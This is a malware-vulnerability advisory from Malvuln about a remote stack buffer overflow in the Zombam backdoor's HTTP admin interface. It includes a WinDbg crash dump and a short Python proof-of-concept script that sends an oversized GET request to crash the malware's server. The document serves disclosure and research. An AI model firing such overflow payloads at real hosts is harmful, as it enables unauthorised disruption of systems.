Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9729e9fc004ea49d3c2ddee28736dae3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.l
Vulnerability: Remote Stack Buffer Overflow
Description: Zombam malware listens on TCP port 80 to display an HTML Web UI for basic remote administration capability. Third-party attackers who can reach an infected system can make an HTTP GET request sending a long string to trigger a buffer overflow overwriting the EDX register
Type: PE32
MD5: 9729e9fc004ea49d3c2ddee28736dae3
Vuln ID: MVID-2021-0276 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/03/2021 

Memory Dump:
(198.730): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=0283fa20 edx=41414141 esi=00000003 edi=00000003
eip=778eed3c esp=0283f0bc ebp=0283f24c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
778eed3c c21400          ret     14h

0:005> .ecxr
eax=0283f9f0 ebx=041d02d0 ecx=0283fa20 edx=41414141 esi=041d02d0 edi=004057d6
eip=004029e0 esp=0283f9d8 ebp=0283fa28 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
*** WARNING: Unable to verify checksum for httpserver.exe
*** ERROR: Module load completed but symbols could not be loaded for httpserver.exe
httpserver+0x29e0:
004029e0 8b4204          mov     eax,dword ptr [edx+4] ds:002b:41414145=????????

0:005> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
httpserver+29e0
004029e0 8b4204          mov     eax,dword ptr [edx+4]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004029e0 (httpserver+0x000029e0)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414145
Attempt to read from address 41414145

PROCESS_NAME:  httpserver.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414145

READ_ADDRESS:  41414145 

FOLLOWUP_IP: 
httpserver+29e0
004029e0 8b4204          mov     eax,dword ptr [edx+4]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00000730

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 00402574 to 004029e0

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0283fa28 00402574 41414141 0283fa40 00000415 httpserver+0x29e0
0283faa4 41414141 41414141 41414141 41414141 httpserver+0x2574
0283faa8 41414141 41414141 41414141 41414141 0x41414141
etc....

STACK_COMMAND:  ~5s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  httpserver+29e0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: httpserver

IMAGE_NAME:  httpserver.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  3eee00db

FAILURE_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_httpserver.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_httpserver+29e0


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=80

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="GET /"+"A"*15028+"  HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.Zombam.l / Remote Stack Buffer Overflow")
print("MD5: 9729e9fc004ea49d3c2ddee28736dae3")
print("By Malvuln")


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